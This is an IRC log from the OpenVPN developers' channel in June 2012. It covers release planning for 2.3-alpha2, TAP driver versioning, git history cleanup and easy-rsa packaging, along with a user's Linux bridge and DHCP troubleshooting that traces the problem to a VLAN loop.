08:18 <@d12fk> then use the git short ref as version 08:18 <@d12fk> or 1.0.3-shortref 08:18 <@mattock> yup 08:45 <@cron2> do we have "uninstall openvpn" functionality? 08:46 * cron2 has no windows system around to test, but that would be good advice for upgrading to 2.3a2 "*uninstall*, then remove all leftover directories, then install new" 08:55 <@dazo> In Windows, that's part of the NSIS installer magic ... otherwise, I don't think there are any "autotools magic" covering that 08:57 * cron2 was talking windows, sorry - reading through mattock's README patch, which states "just remove the directories" and I think this will cause leftovers in the windows "installed software" list 09:02 <@cron2> just ignore 09:02 <@cron2> me 09:02 * cron2 is rambling 09:02 <@cron2> mattock already wrote "and uninstall OpenVPN". 09:02 <@mattock> yep, was about to correct you :) 09:03 <@cron2> sorry, lack of sleep is already showing, even if wife+children are not even at home right now 09:06 <@cron2> *sigh* 09:11 < plaisthos> cron2: yeah, I know Alon also ignored my requirements for a tun rewrite I need for Android 09:14 <@cron2> plaisthos: that's not for Alon to decide anyway - but since he is maintaining the build system, it would be helpful if he would learn to *listen*, instead of just fighting every step - and this time I really don't think I did something offensive 09:15 < plaisthos> cron2: Neither do I. 09:16 < plaisthos> discussing with alon is difficult from what I noticed 09:16 < plaisthos> oh he is pulling his "I am Maintainer" card 09:17 < plaisthos> so whoever has most users wins? 09:17 <@cron2> this one, and the "I know what's good for the project, and you all have no idea" 09:17 * cron2 is seriously tempted to enter another fight, but will leave this to mattock 09:18 <@cron2> mattock: I'm leaving the discussion at this point, because I'm not able to explain with friendly words what "community" and "consensus" mean 09:18 <@mattock> cron2: oh, thanks a lot :P 09:19 <@cron2> mattock: sorry - I know that this is not nice, but if I discuss with Alon, it gets nowhere 09:19 <@d12fk> dazo: had a good look at the http-proxy-fallback and -override features 09:20 <@mattock> cron2: yep, it usually goes nowhere 09:20 <@mattock> he does not budge, at all 09:21 <@d12fk> the override feature is just overruling every connection's http proxy settings for TCP connections and disabled the UDP ones - very strange feature 09:22 <@d12fk> the -fallback one clones every TCP connection to the end of the conn list and queries for proxy info via mgmt itf 09:22 <@d12fk> but only if the conn without proxy doesn't come up 09:23 <@d12fk> however it send a heads up notify "NEED_LATER" at the beginning of every conn list round so that the client can prepare that it might get asked 09:24 <@d12fk> also rather strange feature 09:25 <@d12fk> also it's buggy when you have more than one IP to connect to in your connections 09:25 <@d12fk> dazo: is there ppl using the open source client with AS? 09:26 <@d12fk> mattock: ^^^ 09:26 <@mattock> yes, me 09:26 <@mattock> probably many others, too, as there's no official Linux client 09:26 <@mattock> only Windows and OSX, and the latter is fairly young 09:27 < plaisthos> d12fk: iirc you can't have more than one remote option in a <connection> 09:27 <@d12fk> but then if we decide to remove this feature for a more generic auto-proxy support it will nto hurt as it does nothing over thenet 09:27 <@d12fk> plaisthos: i mean more than one <connection> with different IPs 09:28 * cron2 is amazed at the amount of funny features openvpn has acuired over the years :-) 09:28 <@mattock> let's kill them all 09:28 <@cron2> that might be overdoing things somewhat 09:28 <@mattock> at least if the really funny ones :) 09:28 -!- AL13N_work [~alien@91.183.52.232] has joined #openvpn-devel 09:28 <@d12fk> the closed client could be adapted to return no proxy on the first query and return the right proxy on the second round 09:29 < plaisthos> ah okay 09:29 <@d12fk> the conn list is iterated twice i think 09:29 < plaisthos> One more strange feature I have to care about when rewriting socket code 09:32 < AL13N_work> sorry to bother, but i got a big-ish problem and i can't find it: a dhcp *reply* packet from an external is not passing through a bridge onto the tap0 interface. ( dhcp server -- ... -- eth2 -- br0 -- tap0 -- ... -- dhcp client ) tcpdump shows the reply in eth2 and br0, but not tap0. but the *request* does pass through. 10:02 -!- variable is now known as Guest8000 10:02 < AL13N_work> is it possible that openvpn in layer2 is blocking dhcp *reply* packets? (due to the internal dhcp thing, which i'm not using) 10:04 <@cron2> which OS is that on? 10:04 <@cron2> eth0 sounds like linux 10:20 < AL13N_work> linux indeed 10:21 <@cron2> ok, there is no dhcp handling in the tap driver in linux, and if you see the packets lost in the chain eth2->br->tap (with tcpdump), openvpn is not yet involved 10:21 < AL13N_work> if i'm doing tcpdump tap0 and i don't see a packet, is it possible that openvpn is blocking it for some reason? or should i look at the bridge instead? 10:21 <@cron2> bridge 10:21 < AL13N_work> right 10:21 < AL13N_work> that's what i figured 10:21 <@cron2> maybe there are ebtables, or for some reason the bridge/mac table is confused 10:22 < AL13N_work> no ebtables, no iptables, no nothing, /proc/sys/net/conf/all/bridge/* == 0 10:22 < AL13N_work> ip_forward is even set to 1 and proxy_arp set to 1, even though it's unrelated i think 10:23 <@cron2> ip_forward is unrelated, proxy_arp should also be unrelated 10:23 <@cron2> are other packets forwarded correctly, read "are you seeing outgoing packets on tap0"? 10:23 < AL13N_work> i'm busy with this more than a week now, i'm just frustrated and i don't get it, why would bridge not pass through the dhcp reply, but have no problem with the dhcp request 10:24 <@cron2> what does "brctl show br0" show? 10:24 < AL13N_work> bridge name bridge id STP enabled interfaces 10:24 < AL13N_work> br0 8000.0050568f2d48 no eth2 10:24 < AL13N_work> tap0 10:25 <@cron2> looks fine 10:25 < AL13N_work> yeah 10:25 <@cron2> any *other* outgoing traffic on tap0? 10:25 < AL13N_work> cron2: if i set ip manually, instead of using dhcp, i can ping 10:26 < AL13N_work> but i do lose the first 1 or 2 packets 10:26 < AL13N_work> for each new ip 10:26 < AL13N_work> i'm thinking something arp related 10:26 < AL13N_work> but haven't found anything 10:28 < AL13N_work> cron2: you're sure that openvpn can't block a packet and it wouldn't show up on tcpdump? 10:29 < AL13N_work> maybe vlan tags? 10:29 < AL13N_work> i'm just getting paranoid :-( 10:31 <@dazo> AL13N_work: nope, OpenVPN cannot block at that point ... and iirc, you can use VLAN over TAP 10:31 <@dazo> (but tcpdump -i tap0 would then reveal VLAN traffic as well) 10:33 <@dazo> And it's too early for ARP ... as ARP is resolving an IPv4 address against a MAC address ... and as long as the TAP device doesn't have an IP yet, it won't do any arp 10:34 <@dazo> AL13N_work: which version of openvpn are you running? 10:36 < AL13N_work> 2.1.3-2+squeeze1 (server side) 10:36 <@cron2> AL13N_work: I'm absolutely sure - there is no API openvpn could use to block traffic on a tap intrface (besides setting up ebtables by script) 10:36 <@dazo> Hmmm .... 10:36 <@dazo> I just wonder ... look at this commit ... http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=840799182c0769c8ac9d014d09a497563516fc0d 10:36 < AL13N_work> cron2: ok, thanks 10:36 <@vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/commitdiff (at openvpn.git.sourceforge.net) 10:36 <@dazo> that arrived in 2.3-alpha1 10:36 <@cron2> dazo: if the tap is bridged, it will never arp'ed - that's happening on the br0 niterface 10:36 <@cron2> interface 10:36 <@dazo> oh true! 10:38 < AL13N_work> so this commit is unrelated 10:39 < AL13N_work> br0 should be promiscous, so it shouldn't even matter what the destination mac address is 10:39 < AL13N_work> even though that destination mac addres is in the vpn routing table status 10:39 <@cron2> well, it will keep track of which is where, and only send stuff down the tap if it's a broadcast or the mac address is known to be there, or unknown 10:39 <@cron2> brctl showmacs br0 will tell 10:41 < AL13N_work> that doesn't show that mac address 10:41 < AL13N_work> odd 10:41 <@cron2> it should learn it from the dhcp-request 10:41 <@cron2> (but if it does not know the target mac, it *should* flood it out all ports) 10:41 < AL13N_work> i'm gonna retry, maybe it timed out 10:42 < AL13N_work> it's now in there 10:42 <@cron2> with the proper output port? (first number) 10:43 <@cron2> 1=eth2, 2=tap0 10:43 < AL13N_work> it's 1 10:43 < AL13N_work> wtf 10:43 < AL13N_work> don't tell me there's a duplicate mac address out there 10:43 < AL13N_work> how is this possible??? 10:43 <@cron2> that's not what it should be - so the bridge learned "that mac address is on eth2, so I do not need to forward" 10:44 <@cron2> well, the client's mac address is on the tap device, and that's not coupled to hardware identifiers... 10:44 < AL13N_work> it does say local no 10:44 <@cron2> not the server's tap, the client's tap 10:44 < AL13N_work> yes 10:44 < AL13N_work> but 10:45 <@cron2> the server's tap mac address is not relevant for DHCP from the client 10:45 < AL13N_work> but the request has src mac address 10:45 < AL13N_work> i mean 10:45 <@cron2> sure: that's what the *client* puts there. The one that does DHCP. 10:45 < AL13N_work> yes 10:45 <@cron2> and that will be the client's tap device 10:45 < AL13N_work> but the client mac address is marked on eth2 10:45 <@cron2> (unless you have a br0 on the client as well) 10:45 < AL13N_work> instead of tap0 10:46 < AL13N_work> i have a br0 on the client as well 10:46 < AL13N_work> can that conflict? 10:46 <@cron2> is the client's eth0 connected to your eth2, per chance? 10:46 < AL13N_work> anyway, there is only one mac address marked with 2, and it's the tap interface one 10:46 < AL13N_work> no, can't be 10:46 <@cron2> (so the bridge sees the dhcp request on tap0 and eth2, and decides to take eth2) 10:47 < AL13N_work> that seems like it 10:47 <@cron2> if there is no connection, it can't see it on eth2 10:47 < AL13N_work> but why, it's only on eth2, because br0 has forwarded it 10:47 <@cron2> (what is sent out via eth2 is not counted) 10:47 < AL13N_work> hmm 10:48 < AL13N_work> but it's on a diff location 10:48 < AL13N_work> 100km away 10:49 < AL13N_work> this sucks 10:49 < AL13N_work> thanks for the help anyway though 10:49 < AL13N_work> i have no idea why it would do that 10:49 < AL13N_work> unless 10:50 < AL13N_work> btw: the traffic passed through vpn is vlan 1 tagged 10:50 < AL13N_work> what if the untagged switch is connected to the same eth2 interface? 10:50 < AL13N_work> won't it pass first tagged, out eth2, then come back untagged on eth2? 10:53 < AL13N_work> i did tcpdump -n -i eth2 ether src host 00:22:64:68:43:B6 10:53 < AL13N_work> and it does show traffic 10:55 < AL13N_work> ah nvm, of course, it's bridged 10:55 < AL13N_work> argh 10:57 <@cron2> uh, mixing vlan tagging with bridging might result in ... interesting effects. I'm not exactly sure what linux does in this case, but would try without - just plain ethernet packets with no tags on all eth*, br* and tap* interfaces 10:57 < AL13N_work> ok i confirmed, the client sends out 1 reply, and i see doubles after it's in the bridge 10:58 < AL13N_work> i think there's a loop somewhere with tagged and untagged on this side somewhere 11:00 < AL13N_work> there's a duplication somewhere with 0.5 ms delay 11:00 < AL13N_work> gah 11:00 < AL13N_work> cron2: thanks alot on the showmacs hint 11:01 < AL13N_work> i'd have never found it 11:01 < AL13N_work> it's both tagged traffic though 11:04 < AL13N_work> btw: can i somehow workaround that? 11:08 <@cron2> AL13N_work: does it need to be tagged? Why not configure the switchport as "untagged vlan 1", and save linux the worries? 11:13 -!- raidz_afk is now known as raidz 11:57 -!- dazo is now known as dazo_afk 14:57 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 15:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 16:08 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:11 -!- AL13N_work [~alien@91.183.52.232] has quit [Ping timeout: 246 seconds] 17:13 -!- AL13N_work [~alien@91.183.52.232] has joined #openvpn-devel 18:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 18:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 18:43 -!- AL13N_work [~alien@91.183.52.232] has quit [Ping timeout: 246 seconds] 18:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:04 -!- raidz is now known as raidz_afk 19:13 -!- AL13N_work [~alien@91.183.52.232] has joined #openvpn-devel 21:22 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 21:34 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:34 * ecrist gives up on webserver migration, looks into easy-rsa 21:35 < ecrist> anyone around right now? 21:35 <+krzee> do i count? 21:35 < ecrist> no 21:35 < ecrist> :P 21:35 <+krzee> *cry* 21:35 < ecrist> fwiw, your centos migration is at 74% 21:36 < ecrist> 8GB sparse file, zero padde 21:36 < ecrist> d 21:36 <+krzee> yay! 21:36 < ecrist> you need to send me info on what you want configured or not for that box (ip ranges/etc) 21:36 <+krzee> ahh indeed i do 21:37 < ecrist> along with that, shipping information and such 21:38 < ecrist> anyone aside from bitch^H^H^H^H^Hkrzee around? 21:39 <+krzee> heyyy 21:46 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 21:55 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 21:57 < ecrist> wb --- Day changed Wed Jun 27 2012 01:29 -!- dazo_afk is now known as dazo 01:32 <@dazo> ecrist: I'm here now ... if you're still around :-P 01:42 < plaisthos> Being a maintainer you get strange requests: 01:42 < plaisthos> "please add ability to support more than 100 routes 01:44 <@dazo> hehe ... yeah 01:44 <@dazo> but you have the --max-routes option where you can change that ;-) 01:44 < plaisthos> oh 01:44 < plaisthos> thought that was a compile time option 01:45 <@dazo> nope :) ... that question comes from time to time on #openvpn :) 01:45 <@dazo> but a question which has not come lately (from what I've seen) are those who want a 10.0.0.0/8 net on the VPN (on the tun/tap devices) 01:46 <@dazo> (which is compile time restricted to /16 net, iirc) 01:46 < plaisthos> wtf? 01:46 <@dazo> yeah ... 01:46 <@dazo> the usual response to such questions is: "Do you really know what you're doing?" 01:47 < plaisthos> I have to check if the android API has a limit on number of routes ... 01:47 <@dazo> oh, true ... that might be a killer 01:48 < plaisthos> but if you push a route to the like 10.0.0.0/8 it should get set 01:48 < plaisthos> but anyway need to be going 01:48 <@dazo> exactly ... but I'm guessing it's one of those chinese users ... who have a list of 50.000 servers which they add direct routes to, to avoid the great fw of China 02:16 <@cron2> mornin' 02:16 <@dazo> morning :) 02:24 < AL13N_work> cron2: the whole point is that it's an openvpn tunnel than is connected to a core switch and passthroughs whatever vlans are defined 02:25 < AL13N_work> cron2: but i checked, the duplicated traffic is also tagged 02:25 < AL13N_work> so there's a loop somewhere on the other side, i think on the VMWare 02:26 <@cron2> AL13N_work: ok, so you actually want VLANs all the way - this *should* work, of course, but adds complications (as you have additional boxes where "weird things" could happen) 02:26 < AL13N_work> yes 02:26 < AL13N_work> indeed 02:26 <@cron2> is the "duplicate packet" cominng in with a *different* VLAN tag? 02:26 < AL13N_work> nope 02:26 < AL13N_work> same tag 02:26 <@cron2> weird, this should never happen (different tag I could understand if this is relayed to a different VLAN, for whatever reason) 02:27 <@cron2> so you'd need to check on the switch where the mac is seen from 02:27 < AL13N_work> yes 02:27 < AL13N_work> cron2: first i need to get access to the switch & VMWare, so i can see what's really going on 02:28 < AL13N_work> i think there's a loop in the VMWare vSwitches somewhere 02:44 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:44 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:49 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:49 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 03:01 < plaisthos> dazo: it is a chinese user :) 03:02 * dazo wishes he had placed a bet on that one! :) 03:03 <+krzee> dazo++ 03:09 < plaisthos> *sigh* 03:09 < plaisthos> the user claims that the max-routes options does not work on my client 03:20 <@dazo> krzee: got any wise words to plaisthos on who to handle users with way too many routes? 03:20 < plaisthos> dazo: I found the bug 03:20 < plaisthos> I have a "custom options" settings 03:21 < plaisthos> which takes the max-routes 1000 setting 03:21 < plaisthos> but the routes from an imported are defined before that in the configuration 03:24 <@dazo> ahh 03:36 <@cron2> ugh 03:36 < plaisthos> (I don't know what happens if you try to edit the list of routes in my gui) 03:37 * cron2 just discovered what could be a showstopper bug for 2.3 - "--dev tap" doesn't work for the *server* side if running on *Linux* 03:37 <@cron2> all incoming mac addresses are not learned but declared to be "invalid source!" and dropped 03:37 <@cron2> (it works for tap-on-freebsd) 03:37 < plaisthos> ieehks 03:37 < plaisthos> good that I don't have to deal with tap users :) 03:38 <@cron2> plaisthos: yes, I got *that* complaint already :-) $colleague who is using your gui had a tap server initially, and couldn't make that work with the client, so had to convert to tun :-) 03:38 < plaisthos> cron2: 2.2 works? 03:38 < plaisthos> cron2: :) 03:38 <@cron2> plaisthos: yes. 03:38 < plaisthos> strange ... 03:38 < plaisthos> cron2: the Android API does not allow TAP ... 03:39 <@cron2> ($differentcolleague was spending too much time on patching IPv6 stuff into 2.2, I told him "use git version!", he said "I did that on the weekend and it does not work, not at all!", I said "whut?" and he just showed it to me...) 03:39 < plaisthos> but for most use cases tun should work anyway 03:39 <@cron2> plaisthos: yes, I'm aware, told $colleague, and he's now a happy tun camper 03:39 < plaisthos> :) 03:39 <@d12fk> what's the second mail from alon all about? did i not receive the reply from somebody or is he talking to himself 03:40 < plaisthos> the faq of my app talks about tap support 03:40 <@cron2> d12fk: I think he's expecting resistance, and complaining that nobody is properly crediting his work... 03:40 <@cron2> plaisthos: hehe, I'll point him to the FAQ ;-) 03:41 <@cron2> (we all think that tun is fine for road warrior type VPNs - $differentcolleague is using tap between his servers for good reason, he's running BGP dynamic mesh over the tap links...) 03:41 <@d12fk> cron2: strange 03:42 <@cron2> d12fk: Alon is living in a world of perfect software, without users. This sometimes collides with the reality view the rest of us has... 03:43 <@d12fk> but then fucking with every single byte of a program at once won't make it better 03:43 * cron2 is willing to accept short-term imperfections if it solves short-term problems, even if it might cause some extra work long-term 03:44 <@cron2> d12fk: if you assume "it does not matter how long it takes, as long as the end result is perfect!", it makes sense 03:44 <@mattock> ah guys, I need to dive into these emails now, wish me luck :) 03:44 <@d12fk> wasn't he idling in here a while ago? 03:44 <@cron2> mattock: get some coffee first :) 03:44 <@cron2> d12fk: indeed 03:45 <@d12fk> is that where he got the idea that nobody loves him (besides mom) 03:45 <@cron2> but he said before that he considers IRC a waste of time (and right he is :-) ) 03:45 <@cron2> no, that came from you and me sending nasty mails all the time on the list 03:45 <@d12fk> well you gotta waste you time some way 03:45 <@d12fk> ah he's still chewing on those... 03:46 <@mattock> d12fk: yes, death is inevitable, but unfortunately so, so far away :D 03:46 <@mattock> after that, we won't have to waste time to get there :P 03:46 * cron2 tried very hard not to be nasty in the last weeks 03:46 <@d12fk> einstein quote ftw =) 03:47 <@mattock> ok, I'll harden myself and go in... 03:47 <@mattock> d12fk: mine? 03:47 <@cron2> that was dazo's, and yes, but who was this Einstein guy anyway - after all, he was wrong about some things 03:48 <@dazo> cron2: you mean it's all relative? ;-) 03:48 <@cron2> dazo: there is no relativity in software perfection! 03:48 <@dazo> lol 03:48 <@cron2> if it's not perfect, it's not perfect! 03:49 <@dazo> I don't think I start a discussion on how to define "perfect" ..... :-P 03:50 <@mattock> ah, that quote 03:50 < plaisthos> cron2: Einstein has never written any proper software ;) 03:50 < plaisthos> so he does not count 03:50 <@cron2> dazo: perfection can be defined indirectly - if we release this, it won't be perfect. Perfection takes longer to achieve! 03:51 <@dazo> cron2: so the conclusion is ... as long as we do releases, there won't be any perfect software ;-) 03:52 <@cron2> dazo: I think that's the root of the issue (plus, "as long as the software does what a mere *user* wants") 03:52 <@dazo> :) 03:53 <@dazo> however, Alon had a short reply to mattock and me to that mail ... where he tries to humble himself somewhat ... or at least, I choose to interpret it that way 03:53 <@cron2> anyway. need to get some paid-for work done, will test the problem with tap-server-on-linux tonight 03:53 <@mattock> dazo: i missed that mail, I think 03:53 <@d12fk> dazo: how about removing those wicked two proxy features we inherited from James 03:54 <@mattock> dazo: did alon send it today? 03:54 <@dazo> mattock: no, quite shortly after my rant ... to your openvpn address 03:55 <@d12fk> the -fallback stuff should be done by the gui and the -override feature is plain uncomprehensible to me 03:55 <@dazo> d12fk: I need to read your summary of your research ... but I wouldn't like to do anything drastic on this side without having James involved in the discussion 03:55 <@d12fk> btw. who wants some forensics poster for over the bed? blogs.sans.org/computer-forensics/files/2012/06/SANS-Digital-Forensics-and-Incident-Response-Poster-2012.pdf 03:56 <@dazo> at least so he can defend his approach 03:56 <@d12fk> i'll prepare a patch liek i think it should be so we have an outlook on how to do it instead 03:57 <@mattock> dazo: ok, I'll recheck 03:57 <@d12fk> winhttp made it into mingw btw \o/ 03:58 <@mattock> d12fk: re: poster: I doubt $wife would allow 03:58 <@mattock> she hasn't warmed up to my idea of having a huge Gunther Schlierkampf poster in our workout room, either :D 03:59 <@d12fk> mattock: tell her it is related to penetration =) 03:59 <@mattock> ah, good point :P 03:59 <@dazo> lol 04:04 <@dazo> mattock: anyway ... any chance you got that UCS-2 to UTF-8 patch comment from James? And the ACK on the "msvc: chdir with change drive to script location" patch from you? 04:04 <@mattock> I'll try to poke james now, he might be on internal IRC 04:05 <@mattock> nope, email 04:06 <@mattock> so is the --server tap thingy blocking the 2.3-alpha2 release? 04:06 <@dazo> that's the only patches really holding back alpha2 tagging ... but I'm willing to pull in "build: plugins: set defaults using a complex logic" if that's tested by you mattock, before James answer 04:07 <@dazo> mattock: I can live with --server tap issue in 2.3-alpha2 ... but it's a blocker for beta 04:07 <@cron2> mattock: what dazo says 04:07 <@cron2> I'll need to find out exactly what broke there, and it needs be fixed, but hey, *alpha* is ... that 04:07 <@dazo> cron2: time to get to know git bisect probably ;-) 04:08 < plaisthos> git bisect works well for thing like a failing conifigure :) 04:09 <@dazo> hehe ... yeah, that can be trickier .... then you need 'git bisect --skip' :/ 04:09 <@mattock> dazo: I'll revivew "build: plugins: set defaults using a complex logic" now 04:09 <@mattock> review 04:09 <@cron2> dazo: either bisect, or just plain "stare at code, debug" :) 04:10 <@dazo> whatever is your preference :) 04:11 <@mattock> d12fk: re: james' proxy thingy (or whatever)... perhaps the proposed deletion should go 04:11 <@mattock> to OpenVPN2.4 planning page on the wiki 04:11 <@cron2> I'll see. The problem here is that I suspect "something in the build system" (as it *works* on FreeBSD), and bisecting through lots of stuff that doesn't even compile is not sooo useful 04:12 <@d12fk> mattock: not sure as the feature is undocumented and used only by the AS client 04:12 <@d12fk> they are not switching soon are they? 04:15 <@dazo> d12fk: I think James have started to look at the git code ... as he has not touched the SVN tree since December 04:15 <@d12fk> will there be a meeting tomorrow? 04:16 <@mattock> d12fk: re: switching... no clue, but they should 04:16 <@d12fk> or could james just join here off the record 04:16 <@mattock> yes, that'd be doable 04:19 <@mattock> ok, so *-mingw* in $host is taken as "this is windows"... is that assumption always true? 04:19 <@d12fk> yes, mingw always produces PE binaries 04:19 <@dazo> when cross-compiling using mingw, yes 05:06 -!- AL13N_work [~alien@91.183.52.232] has left #openvpn-devel [] 05:45 <@mattock> mkay, testing the patch 05:45 <@mattock> I'll package easy-rsa, tap-windows and openvpn-gui now, and put them somewhere on the net 05:47 <@mattock> cron2: any suggestions on the tap-driver version number? 05:48 <@mattock> is 9.9.0 ok, or should we use 9.9.1? 05:48 <@mattock> for example, to ensure Windows upgrades from 2.3-alpha1 TAP-driver to 2.3-alpha2? 05:51 <@mattock> dazo: any git magic I could use to detect if there are any code changes in tap-windows? 05:51 <@mattock> most of alon's work is refactoring, which complicates things 05:52 -!- maxb [~maxb@jabberwock.vm.bytemark.co.uk] has quit [Ping timeout: 250 seconds] 05:53 -!- maxb [~maxb@jabberwock.vm.bytemark.co.uk] has joined #openvpn-devel 06:15 <@cron2> mattock: 9.9.1 sounds like a plan "it's the same thing but built differently, and a well-defined commitish, so mark it clearly as such" 06:18 <@mattock> ok, I'll modify version.m4, rebuild and test 06:18 <@mattock> easy-rsa also needs some work, I'll take care of that with ecrist (sending mail) 06:20 <@dazo> mattock: I have no idea what Alon has done with that git tree ... what about to just bundle the TAP driver from 2.2 in this alpha? (or the one we shipped in 2.3-alpha1) 06:20 <@dazo> mattock: because we haven't cleaned up the git tree stuff Alon did in that tree ... which I did for easy-rsa 06:21 <@mattock> hmm 06:21 <@dazo> what needs to be done is to reset the openvpn tree, delete all which is not win-tap related ... and apply all patches which have been acked on top of alon's tree 06:22 <@mattock> didn't we decide to keep full history on tap-windows? 06:22 <@dazo> From what I recall, the tap tree has not been reviewed in any way 06:22 <@dazo> yes, and this approach I'm suggesting keeps the full history 06:22 <@mattock> ok, so it's possible to get rid of _useless_ history by rebuilding? 06:22 <@dazo> what do you mean with useless? 06:23 <@mattock> stuff not related to tap-windows specifically 06:23 <@mattock> e.g. changes to openvpn 06:23 <@dazo> no, that cannot be removed ... unless we start from a scratch tree 06:23 <@mattock> ok, please explain the plan, I'm lost :) 06:24 <@dazo> but what Alon has done is to run a script which removed all files which was not "supposed" to be in the tree, commit by commit ... which rewrites the complete history - and created brand new commitsh references for each commit 06:24 < plaisthos> dazo: and yes the user is using openvpn to avoid the GFW (=great firewall) 06:24 <@mattock> ok, now I start to see the light 06:24 <@dazo> mattock: what we agreed on instead 06:25 <@dazo> I take the openvpn stable tree, checkout the version just before alon's commit which removes win-tap stuff 06:25 <@dazo> then I remove everything which is not related to win-tap ... and do a commit 06:25 <@mattock> if this is the case, we could bundle the TAP-driver from 2.3-alpha1 06:25 <@mattock> yes, that makes sense 06:25 <@dazo> and then we apply the patches from alons win-tap tree on top of this new tree 06:25 <@mattock> and then apply Alon's tap-windows patches on top of that 06:26 <@mattock> yes 06:26 <@dazo> this way, the complete history - including the sha1 commitish values are preserved too - which is the key point, esp. when beginning with bisect and providing reasonable references to "the old days" 06:27 <@dazo> plaisthos: sometimes, it's just not fun being right :) 06:27 <@mattock> yes, this makes sense 06:48 < ecrist> good morning, folks 06:48 <@mattock> ecrist: expect an email in 1 minute 06:48 < ecrist> ok 06:49 <@mattock> sent 06:49 <@mattock> it's about easy-rsa 06:50 <@mattock> dazo: I cc'd you, too 06:50 < ecrist> I figured. 06:52 < ecrist> why do we need a build system for easy-rsa? it's just a set shell scripts. 06:52 <@cron2> well, that *is* the build system :) 06:52 <@dazo> good question ... however, doing "make dist" is just so convenient 06:53 < ecrist> mattock: nice email, answers 90% of the questions I was going to ask ~8 hours ago 06:53 <@mattock> I thought about that too... "make dist" is convient, less manual work when doing a release 06:53 <@dazo> but I dunno if it's really that needed, tbh ... it's up'n'downs to both approaches 06:53 <@mattock> dazo: any idea if this helps with packaging? 06:53 <@mattock> I _think_ it does 06:54 <@dazo> the nice thing is that you can add --prefix stuff ... and generate the scripts using options through ./configure 06:54 <@mattock> e.g. Deb, RPM 06:54 * ecrist configures git 06:54 <@mattock> ah yes, and one can install easy-rsa locally to whereever 06:54 <@dazo> which means paths and binaries can be better auto-detected and used in a more predictable manner 06:55 <@mattock> and end users don't _need_ to use the buildsystem, they can just copy the scripts wherever they like, if they decide so 06:55 < ecrist> how do I 'git update' 06:55 <@mattock> mmm 06:55 < ecrist> I have a tree I pulled last night 06:55 <@mattock> git pull --rebase origin 06:56 < ecrist> but probably before you did the changes, mattock 06:56 <@mattock> =get latest changes from GitHub 06:56 <@mattock> none of my changes are in GitHub, hence the tarball I sent you 06:56 < ecrist> hrm, it says I'm up to date 06:56 < ecrist> three dirs, 1.0, 2.0, and Windows 06:56 <@mattock> I thought it might make sense to just apply the patches with "gim am" 06:57 < ecrist> ok, so *I* need to apply the patches? 06:57 <@mattock> yep 06:57 < ecrist> ahhh 06:57 <@mattock> well, I could do it for you obviously, but learning Git is fun, isn't it :P 06:58 < ecrist> oh no, this is a great exercise, seriously 06:58 <@mattock> dazo: what's your process for tagging the trees? I've never done that myself 06:58 <@mattock> prior to an openvpn release 06:58 <@dazo> I'm describing it in a reply :) 06:58 <@mattock> ok, good 07:03 < ecrist> what is this version going to be, 2.2? 07:03 <@mattock> something higher than the earlier 07:03 <@mattock> 2.2 might be ok 07:04 < ecrist> it is using 2.1.0 currently 07:04 <@mattock_> 2.2.0 perhaps, given it's got the buildsystem and all :) 07:04 < ecrist> that's what I was thinking, rather than 2.1.1 07:05 <@mattock_> let's use 2.2.0, then 07:05 <@dazo> or 2.3? 07:05 <@dazo> to stay aligned? 07:05 <@dazo> (just an idea, not sure if it's clever or not) 07:05 <@mattock> hopefully easy-rsa and openvpn will go "unaligned" as soon as possible :) 07:06 <@mattock> I think 2.2.0 is best, after all there's no real dependency between easy-rsa and openvpn 07:06 <@mattock> if they were tightly couple, then staying aligned would make sense I think 07:06 <@dazo> yeah, good point :) 07:09 < ecrist> dazo: reading your email. should I use something other than mattock's commit line, then? 07:09 < ecrist> git commit configure.ac -s (sans -m et al.) 07:10 <@dazo> ecrist: I generally don't use the -m "commit msg here" option much at all ... unless I know I can express everything in a simple single line 07:10 < ecrist> ok 07:10 < ecrist> I figured it's similar to svn in that regard 07:10 < ecrist> with svn, I never use -m, for the same reason 07:11 <@dazo> yeah, exactly :) 07:11 <@mattock> yeah, it's usually best to just use "git commit" and write a proper two-part description 07:11 < ecrist> ok 07:12 <@dazo> but add the -s ... then you get the 'signed-off-by-line 07:12 < ecrist> I think it's best if I use my same GPG key that I've been using for emails 07:12 <@dazo> which can be useful later on 07:12 < ecrist> yeah, added the -s already 07:12 < ecrist> since it's already signed/trusted by you jokers. 07:12 <@dazo> hehe ... not sure if that's a compliment or an offence :-P 07:13 <@dazo> ;-) 07:13 <@mattock> not sure if it's possible in SVN, but it's often useful to commit selectively: 07:13 <@mattock> git add file1 file2 file3 07:13 <@mattock> git commit file1 07:13 <@mattock> git commit file2 07:13 <@mattock> git commit file3 07:13 <@mattock> (not related to this release thing, though) 07:13 <@mattock> but helps make better and more atomic commits with clear commit messages 07:14 <@mattock> consider this the (useful?) Git tip of today :P 07:14 <@dazo> good point ... that's one thing where 'svn commit' and 'git commit' differs .... svn will take whatever has been changed, git needs to be told explicitly what to commit 07:14 <@mattock> actually, "git commit" will commit everything that "git status" says is being committed 07:14 <@mattock> i.e. everything you've added with "git add" 07:14 <@dazo> (svn can do partial commits too, but it needs to be told so explicitly) 07:14 < ecrist> svn and git are the same in that regard 07:15 * ecrist much more familiar with svn 07:15 < ecrist> so, what do you 